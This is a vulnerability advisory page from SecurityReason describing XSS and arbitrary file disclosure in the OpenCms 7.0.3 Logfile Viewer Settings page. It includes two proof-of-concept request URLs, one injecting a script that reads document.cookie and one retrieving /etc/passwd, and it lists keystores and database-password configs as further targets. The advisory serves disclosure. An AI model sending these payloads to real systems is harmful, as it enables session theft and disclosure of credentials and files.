Register | Forget Password | Login
Search :
SecurityReason

News

Search

SecurityAlert

About SecurityAlert

ExploitAlert

SecurityReason Research

WLB

WLB Database

Send to WLB

About WLB

RSS

News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Corporate

Contact

About us

Services

SecurePHP

Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Details : SecurityAlert

  Topic : Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure
  SecurityAlert : 3731
  CVE : CVE-2008-1300
  CVE : CVE-2008-1301
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : nnposter
  Published : 12.03.2008

  Affected Software : Alkacon OpenCms



  Advisory Text :  

Alkacon OpenCms logfileViewSettings.jsp XSS, file disclosure

Product: Alkacon OpenCms

http://www.opencms.org/

OpenCms contains a vulnerability in the Logfile Viewer Settings function.
Input to Parameter filePath.0 in page
opencms/system/workplace/admin/workplace/logfileview/logfileViewSettings
.jsp is not sufficiently validated and/or sanitized. This can be exploited
as a cross-site scripting issue but also as a file access issue, which
allows a disclosure of arbitrary files that are readable in the OS security
context of the JSP container process. The resulting page even has a
"Download" button, which facilitates retrieving binary files. Possible
targeted files could be /etc/passwd, /proc pseudo-files, Java keystore,
OpenCms configuration file (with database password), etc.

Only OpenCms users in administrator roles have access to the vulnerable
URL, which partially reduces the severity of the file disclosure aspect.

Example 1 (XSS):

http://(target)/opencms/system/workplace/admin/workplace/logfileview/log
fileViewSettings.jsp?

isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t
rue

&ok=Ok&action=save

&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview

&elementname=undefined&page=page1&style=new

&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings

&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0
=UTF-8

&filePath.0=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fs
cript%3E

Example 2 (retrieving /etc/passwd):

http://(target)/opencms/system/workplace/admin/workplace/logfileview/log
fileViewSettings.jsp?

isLogfile.0=true&isLogfile.0.value=true&enabled.0=true&enabled.0.value=t
rue

&ok=Ok&action=save

&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%2
52Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace%252Flogfileview

&elementname=undefined&page=page1&style=new

&path=%252Fworkplace%252Flogfileview%252FlogfileViewSettings

&elementindex=0&framename=admin_content&windowSize.0=8000&fileEncoding.0
=UTF-8

&filePath.0=%2Fetc%2Fpasswd

The vulnerability has been identified in version 7.0.3. However, other
versions may be also affected.

Solution:

Users should not browse untrusted sites while logged into OpenCms.

Found by:

nnposter





  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

Apache rss

» Apache Tomcat <=
   6.0.18 UTF8 Directory
   Traversal Vulnerability

» Apache Tomcat information
   disclosure vulnerability

» Apache Tomcat XSS
   vulnerability

» Apache-SSL memory
   disclosure

PHP rss

» PHP 5.2.6 chdir(),ftok()
   (standard ext) safe_mode
   bypass

» PHP 5.2.6 posix_access()
   (posix ext) safe_mode
   bypass

» PHP 5.2.5 and prior :
   *printf() functions
   Integer Overflow

» PHP 5.2.5 cURL safe_mode
   bypass

Copyright © SecurityReason. All Rights Reserved.